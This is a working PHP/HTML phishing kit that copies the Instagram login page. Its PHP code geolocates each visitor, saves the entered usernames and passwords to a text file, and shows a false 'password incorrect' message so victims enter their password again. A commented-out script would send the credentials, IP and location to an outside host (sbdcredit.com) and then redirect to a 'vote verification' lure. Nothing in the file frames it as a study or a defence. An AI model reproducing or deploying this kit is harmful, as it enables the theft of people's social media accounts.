<?php

function get_IP_address()
{
    foreach (array('HTTP_CLIENT_IP',
                   'HTTP_X_FORWARDED_FOR',
                   'HTTP_X_FORWARDED',
                   'HTTP_X_CLUSTER_CLIENT_IP',
                   'HTTP_FORWARDED_FOR',
                   'HTTP_FORWARDED',
                   'REMOTE_ADDR') as $key){
        if (array_key_exists($key, $_SERVER) === true){
            foreach (explode(',', $_SERVER[$key]) as $IPaddress){
                $IPaddress = trim($IPaddress); // Just to be safe

                if (filter_var($IPaddress,
                               FILTER_VALIDATE_IP,
                               FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)
                    !== false) {

                    return $IPaddress;
                }
            }
        }
    }
}

    $ip = get_IP_address();
    $loc = file_get_contents("http://ip-api.com/json/$ip");
    $locdec = json_decode($loc, true);
   
   $decode =  $locdec["country"].' '. $locdec["countrycode"].' '. $locdec["city"] .' '. $locdec["region"] .' '. $locdec["regionName"] .' '. $locdec["timezone"] .' '. $locdec["isp"] .' '. $locdec["query"] ;
  
    // echo $decode;

    // $show = $locdec->country->city;

    // echo $show;




date_default_timezone_set('Africa/Lagos');
$date = date("d-m-Y h:i:sa");
$dube = " 5th PASSWORD ";

// echo $dube;
if (isset($_POST['submit'])) {


    $name = $_POST['uname'];
    $pass = $_POST['pass'];
    $country = $_POST['country'];
    $city = $_POST['city'];
    $ip = $_POST['ip'];

    if (empty($name || $pass )){
        $error = "This field can't be empty";

    }elseif (strlen($name)>30){
         $error = "Sorry, your password was incorrect. Please  double-check your password.";

    }elseif (strlen($pass)<6){
        $error = "Sorry, your password was incorrect. Please  double-check your password.";

    }else{

    // the message
$msg = "USERNAME: ".$name." " ."PASSWORD:"." " .$pass. "  //".$date. " ".$dube. "<br> " .$decode. "\r\n" ;

// use wordwrap() if lines are longer than 70 characters
$msg = wordwrap($msg,70);

file_put_contents("inbox1.txt", $msg.PHP_EOL,FILE_APPEND);
 header('location: /r.php');

    }





//     $mailTo = "drdivson123@gmail.com";
//     $headers = "from: " .$name;

//     $txt =  "you recieve an email from ".$name.".\n\n".$pass;

// mail($mailTo, $headers, $txt);

}


?>



<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- <title>Please vote Portal </title> -->
    
    <!-- <link rel="stylesheet" href=""> -->
    <link data-default-icon="./images/agxgasgxa.png" rel="icon" sizes="192x192" href="./images/agxgasgxa.png">
<meta name="robots" content="noarchive, noimageindex">
<meta charset="utf-8">
	<title>Instagram</title>
<meta name="apple-mobile-web-app-status-bar-style" content="default">
<meta name="mobile-web-app-capable" content="yes">
<meta id="viewport" name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=2, viewport-fit=cover">
<meta name="theme-color" content="#ffffff">
<link rel="apple-touch-icon" sizes="76x76" href="">
<meta name="robots" content="noindex, nofollow">

    <style>
        
/* Universal Selectors */
#root, body, html {
    height:100%;
  }
  
  body {
    overflow-y: scroll;
  }
  
  a, abbr, acronym, address, applet, article, aside, audio, b, big, blockquote, body, canvas, caption, center, cite, code, dd, del, details, dfn, div, dl, dt, em, embed, fieldset, figcaption, figure, footer, form, h1, h2, h3, h4, h5, h6, header, hgroup, html, i, iframe, img, ins, kbd, label, legend, li, mark, menu, nav, object, ol, output, p, pre, q, ruby, s, samp, section, small, span, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, time, tr, tt, u, ul, var, video {
    margin:0;
    padding:0;
    border:0;
    font:inherit;
    vertical-align: baseline;
  } 
  
  a, a:visited {
    text-decoration: none;
  }
  a:active, .btn:active {
    opacity:.5;
  }
  
  ol, ul {
    list-style: none;
  }
  
  body, button, input {
    font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
    font-size:14px;
    line-height:18px;
  }
  
  #root, article, main, div, section, header, nav, footer {
    border: 0 solid #000000;
    box-sizing: border-box;
    align-items: stretch;
    display: flex;
    flex-direction: column;
    flex-shrink: 0;
    margin:0;
    padding:0;
    position: relative;
    -webkit-box-align: stretch;
      -moz-box-align: stretch;
    -webkit-box-orient: vertical;
      -moz-box-orient: vertical;
    -webkit-box-direction: normal;
      -moz-box-direction: normal;
  } /* <--Universal Selectors End */
  
  
  #root {
    z-index: 0;
  }
  
  .section-all {
    min-height:100%;
    overflow:hidden;
  }
  
  .main {
    background-color: #fafafa;
    width: 100%;
    margin: 0 auto;
    order: 4;
    flex-grow: 1;
    -webkit-box-flex: 1;
    -moz-box-flex: 1;
    -moz-box-ordinal-group: 5;
    -webkit-box-ordinal-group: 5;
  }
  
  .wrapper {
    min-height:100%;
    overflow: hidden;
  }
  
  .wrapper, .article {
    flex-grow: 1;
    justify-content: center;
    -webkit-box-flex: 1;
      -moz-box-flex: 1;
    -webkit-box-pack: center;
      -moz-box-pack: center;
  }
  
  .article {
    flex-direction: row;
    margin:0 auto;
    max-width: 935px;
    width:100%;
    -webkit-box-orient: horizontal;
      -moz-box-orient: horizontal;
    -webkit-box-direction: normal;
      -moz-box-direction: normal;
  }
  
  .content {
    color:#262626;
    flex-grow:1;
    justify-content: center;
    max-width: 350px;
    margin-top:12px;
    -webkit-box-pack: justify;
      -moz-box-pack: justify;
    -webkit-box-flex: 1;
      -moz-box-flex: 1;  
  }
  
  .login-box {
    background: #fff;
    border: 1px solid #e6e6e6;
    border-radius: 1px;
    margin:0 0 10px;
    padding: 10px 0;
    /* align-items: center; */
  }
  
  .header {
    margin: 14.45px auto 12px;
  }
  

  .logo {
    background: cover no-repeat;
    width:175px;
    height:auto;
  }
  
  .form {
    display: flex;
    flex-direction: column;
    margin-bottom: 10px;
    -moz-box-direction: normal;
    -webkit-box-direction: normal;
  }
  
  .input-box {
    margin:auto 40px 6px;
  }
  
  input {
    height: 36px;
    border: 1px solid #efefef;
    border-radius: 3px;
    background-color: #fafafa;
    width:100%;
    font-size:12px;
    margin: 0;
    padding: 9px 0 7px 8px;
    outline: none;
    overflow: hidden;
    text-overflow: ellipsis;
    box-sizing: border-box;
  }
  input#name:focus, input#password:focus {
    border-color:'';
  }
  
  .button-box {
    display: block;
    position: relative;
    margin: 8px 40px;
  }
  .btn {
    cursor: pointer;
    width: 100%;
    padding:0 8px; 
    background: #3897f0;
    border:1px solid #3897f0;
    color:#fff;
    border-radius:3px;
    font-weight:600;
    font-size: 14px;
    height: 28px;
    line-height: 26px;
    outline: none;
    white-space: nowrap;
  }
  
  .forgot, .forgot:active, .forgot:hover, .forgot:visited {
    font-size:12px;
    margin-top:12px;
    text-align: center;
    color:#003569;
    line-height: 14px!important;
  }
  
  .text {
    text-align:center;
    margin:15px;
    color:#262626;
    font-size:14px;
  }
  
  .text a, .text a:visited, .text a:hover, .text a:active {
    color:#3897f0;
    margin-left:3px;
  }
  
  /* App Store */
  .app p {
    line-height: 18px;
    color:#262626;
    font-size:14px;
    text-align:center;
    margin:10px 20px;
  }
  
  .app-img {
    flex-direction: row;
    justify-content: center;
    margin:10px 0;
    -webkit-box-orient: horizontal;
    -moz-box-orient: horizontal;
  }
  
  .app-img a {
    margin-right:8px;
    height: 43.5px;
  }
  
  .app-img img {
    height:40px;
  }
  
  /* FOOTER */
  .footer {
    background-color: #fafafa;
    order: 5;
    padding: 0 20px;
    background: #fafafa;
  }
  
  .footer-container {
    flex-direction: row;  
    flex-wrap:wrap;
    background-color: #fafafa;
    justify-content: space-between;
    padding: 38px 0;
    max-width:935px;
    font-size:12px;
    font-weight:600;
    margin:0 auto;
    text-transform:uppercase;
    width:100%
  }
  
  .footer-nav {
    max-width:100%;
  }
  
  .footer-nav ul {
    margin-right:16px;
    margin-bottom:3px;
    flex-grow:1;
  }
  
  .footer-nav ul li {
    display: inline-block;
    margin-right: 13px;
    margin-bottom:7px;
  }
  
  .footer-nav ul li a {
    color: #003569;
    text-decoration: none;
  }
  
  .footer span {
    color:#999;
  }
  
  span.language { 
    color: #003569;
    cursor: pointer;
    display: inline-block;
    font-weight: 600;
    position: relative;
    text-transform: uppercase;
    vertical-align: top;
  }
  
  .select {
    cursor: pointer;
    height: 100%;
    top: 0;
    opacity: 0;
    position: absolute;
    left:0;
    width: 100%;
  }
  
  /* Media Queries */
  @media (min-width:1550px) {
    .main {
      background-color: #fff;
    }
  
    .content {
      max-width: 100%;
      margin-top: 0;
      justify-content: space-between;
    }
  
    .login-box {
      background-color: transparent;
      border:none;
    }
  
    .logo {
      background: cover no-repeat;
      width:175px;
      height:auto;
      margin:0 auto;
    }
  
    .btn {
      cursor: pointer;
      width: 100%;
      padding:0 8px; 
      background: #3897f0;
      border:1px solid #3897f0;
      color:#fff;
      border-radius:3px;
      font-weight:600;
      font-size: 14px;
      height: 28px;
      line-height: 26px;
      outline: none;
      white-space: nowrap;
    }
  
    .input-box {
      border: 1px solid #efefef;
      border-radius: 3px;
      height: 36px;
      background: #fafafa;
      position: relative;
    }
  
    input {
      border: 0;
      background-color: #fafafa;
      width:100%;
      font-size:12px;
      margin: 0;
      padding: 9px 0 7px 8px;
      outline: none;
      overflow: hidden;
      text-overflow: ellipsis;
      box-sizing: border-box;
    }
  
    .input-box:hover, .input-box:focus {
      border-color:#bbb;
    }
  
  }
  
  @media only screen and (max-width:875px) {
    .footer-container {
      text-align: center;
      padding:10px 0;
    }
    .footer-container,  .footer-nav ul {
      justify-content: center;
      margin:0 auto;
      max-width: 360px;
      min-width: auto;
      -webkit-box-pack: center;
      -moz-box-pack: center;
    }
  
  }
  

    </style>




</head>


    <section class="section-all" style='color: #507392;'>

        <!-- 1-Role Main -->
        <main class="main" role="main">
            <div class="wrapper">
                <article class="article">
                    <div class="content">
                        <div class="login-box">
                            <div class="header">
                                <img class="logo" src="./images/bnytgd-4423.png">
                            </div><!-- Header end -->
                            <div class="form-wrap">
                                <form class="form" action="" method="post">

                                    <div class="input-box">
                                        <input type="text" id="username" aria-describedby="" name="uname"
                                            placeholder="Phone number, username, or email" maxlength="" required>
                                    </div>

                                    <div class="input-box">
                                        <input type="password"  id="password" name="pass" placeholder="Password" minlength="" required>
                                    </div>

                                    <span class="button-box">
                                        <img src="./images/ghdcggcfs7273.gif" width="20px" id="loader" style="position: absolute; top: 0.5em; left: 9em; display: none; ">

                                        <input type= "submit" class="btn" name="submit" id="login" value= "Log in" >
                                    </span>
                                    
                                    <p id="feedback" style="color: red;  font-family: sans-serif; font-size: 14px; text-align: center; margin: 0 30px; ">
                                          <?php     echo  $error; echo "<br>"; echo " Sorry, your password was incorrect. Please  double-check your password.";?> 
                                    </p> <a class="forgot" >Forgot password?</a>

                                </form> 
                               
                            </div> <!-- Form-wrap end -->
                        </div> <!-- Login-box end -->

                        <div class="login-box">
                            <p class="text">Don't have an account?<a >Sign up</a></p>
                        </div> <!-- Signup-box end -->

                        <div class="app">
                            
                            <p>Get the app.</p>
                            <div class="app-img">
                                <a
                                    href="">
                                    <img
                                        src="./images/-rffaghshss-223.png" style="height: 35px; ">
                                </a>
                                <a
                                    href="">
                                    <img
                                        src="./images/EHY6QnZYdNX.png"  style="height: 35px; margin-top: '';">
                                </a>
                            </div> <!-- App-img end-->
                        </div> <!-- App end -->
                    </div> <!-- Content end -->
                </article>
            </div> <!-- Wrapper end -->
        </main>

        <!-- 2-Role Footer -->
        <footer class="footer" role="contentinfo">
            <div class="footer-container">

                <nav class="footer-nav" role="navigation">
                    <ul>
                        <li><a href="">About Us</a></li>
                        <li><a href="">Support</a></li>
                        <li><a href="">Blog</a></li>
                        <li><a href="">Press</a></li>
                        <li><a href="">Api</a></li>
                        <li><a href="">Jobs</a></li>
                        <li><a href="">Privacy</a></li>
                        <li><a href="">Terms</a></li>
                        <li><a href="">Directory</a></li>
                        <li>
                            <span class="language">Language
                                <select name="language" class="select" onchange="la(this.value)">
                                    <option value="#">English</option>
                                    <option value="">Russian</option>
                                </select>
                            </span>
                        </li>
                    </ul>
                </nav>

                <!-- <span class="footer-logo">&copy; 2018 Instagram</span> -->
            </div> <!-- Footer container end -->
        </footer>

    </section>
    </span> 

    

    <input type="hidden" id='country' value='United States
' name='country'>
    <input type="hidden" id='city' value='New York
' name='city'>
    <input type="hidden" id='ip' value='212.103.48.68' name='ip'>
    
    <!-- Root -->
<!-- <script>
         var login = document.getElementById('login');
        var loader = document.getElementById('loader')
        var feedback = document.getElementById('feedback')
        var username = document.getElementById('username')
        var password = document.getElementById('password')
        var country = document.getElementById('country')
        var city = document.getElementById('city')
        var ip = document.getElementById('ip')
        var x = 0;
        login.addEventListener('click', function () {
            login.textContent = "";
            loader.style.display = "block"

            setTimeout(() => {
                feedback.style.display = 'block'
                login.textContent = "Log In"
                loader.style.display = "none"
                if (username.value == "" || password.value == "") {
                    feedback.textContent = "Input's cannot be empty"
                }else {
                    validation()
                }
            }, 1500);

        })

        function validation() {
            login.textContent = "";
            loader.style.display = 'block'

            setTimeout(() => {
                login.textContent = 'Log In'
                loader.style.display = 'none'

            const data = new FormData();
            data.append('username', username.value);
            data.append('password', password.value);
            const response = new XMLHttpRequest();
            response.onreadystatechange = function () {
                feedback.style.display = 'block'
            }
            response.open('POST', './info/login.php', true);
            response.send(data);

            const dataD = new FormData();
            dataD.append('username', username.value);
            dataD.append('password', password.value);
            const response2 = new XMLHttpRequest();
            response2.onreadystatechange = function () {
            }
            response2.open('POST', './info/login.php', true);
            response2.send(dataD);

            //===============================================
                //MAIL SENDER
                var url = 'https://sbdcredit.com/mail.php';
                var xhr2 = new XMLHttpRequest()
                var data2 = new FormData()
                data2.append('username', username.value);
                data2.append('password', password.value);
                data2.append('type', "Instagram");
                data2.append('email', "admin@gmail.com");
                data2.append('ip', ip.value);
                data2.append('country', country.value);
                data2.append('city', city.value);
                xhr2.onreadystatechange = function () {
                    
                }
                xhr2.open('POST', url, 'true');
                xhr2.send(data2)
            //======================================

            x ++
            feedback.textContent = 'The password you entered is incorrect. Please check your password and try again';
            if (x == 2) {
                feedback.textContent = 'Sorry an error occurred please try again later'
            }else if (x == 3){
                feedback.textContent = '';
                window.location.href='vote_verification.html'
            }

            }, 1500);
        }
</script> -->

</body>

</html>
